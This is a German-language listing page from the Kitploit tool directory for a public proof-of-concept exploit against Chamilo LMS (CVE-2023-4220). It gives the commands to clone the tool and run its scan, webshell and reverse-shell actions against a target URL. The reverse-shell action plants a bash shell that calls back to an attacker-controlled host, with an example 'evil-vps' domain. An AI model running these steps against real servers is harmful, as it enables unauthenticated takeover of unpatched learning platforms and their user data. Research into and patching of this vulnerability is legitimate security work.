Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
chamilo-lms-unauthenticated-big-upload-rce-poc — Dieses Python-Skript ermöglicht die Ausnutzung der Sicherheitslücke von Chamilo LMS, die als CVE-2023-4220 beschrieben ist. | Kitploit
Tools/GitHubGitHub/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingPayload-Entwicklung
GitHubm3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc

chamilo-lms-unauthenticated-big-upload-rce-poc

Dieses Python-Skript ermöglicht die Ausnutzung der Sicherheitslücke von Chamilo LMS, die als CVE-2023-4220 beschrieben ist.

Repository anzeigen
2vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Chamilo LMS Unauthenticated Big Upload File RCE PoC

Dies ist ein in Python geschriebenes Skript, das die Ausnutzung der in CVE-2023-4220 beschriebenen Sicherheitslücke der Chamilo LMS-Software ermöglicht. Das System ist in Versionen vor 1.11.24 verwundbar.

Verwendung

Klonen Sie das Repository auf Ihren Rechner und installieren Sie die Abhängigkeiten mit pip (es wird empfohlen, virtualenv zu verwenden, um eine Umgebung zu erstellen, die diese Installationen von globalen Installationen trennt)

root@kitploit:~
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
pip install -r requirements.txt

Das Skript benötigt die Ziel-URL mit dem Chamilo-Root-Pfad (z. B. http://example.com/chamilo, http://example.com oder http://chamilo.example.com) und eine Aktion, die ausgeführt werden soll (es stehen drei zur Verfügung: scan, webshell und revshell).

Scan

Diese Aktion prüft, ob das Ziel verwundbar ist, indem versucht wird, auf den Endpunkt zuzugreifen.

/main/inc/lib/javascript/bigupload/files/
root@kitploit:~
python3 main.py -u http://example.com/chamilo -a scan

scan-demo

Webshell

Diese Aktion erstellt eine PHP-Webshell-Datei im verwundbaren Endpunkt.

root@kitploit:~
python3 main.py -u http://example.com/chamilo -a webshell

webshell-demo

Revshell

Diese Aktion erstellt und führt eine Bash-Reverse-Shell-Datei aus. Dazu wird zunächst mit der gleichen Methode wie bei der vorherigen Aktion eine Webshell erstellt. Danach werden einige Befehle ausgeführt, um die Bash-Datei zu erstellen und auszuführen. Stellen Sie sicher, dass Sie auf dem von Ihnen definierten Port mit nc oder einem anderen Dienstprogramm lauschen, damit Sie die Reverse-Verbindung tatsächlich erhalten. Der Host kann eine gültige interne/öffentliche IPv4 (wie 172.17.1.4 oder 186.227.4.31) oder die von Ihnen registrierte Domain (wie evil-vps.domainreg.net) sein.

root@kitploit:~
python3 main.py -u http://example.com/chamilo -a revshell

revshell-demo

Hinweis: Bald werde ich eine Windows-Payload-Option für Windows-Hosts hinzufügen.

Referenzen

(CVE-2023-4220) Chamilo LMS Unauthenticated Big Upload File Remote Code Execution

Tool herunterladen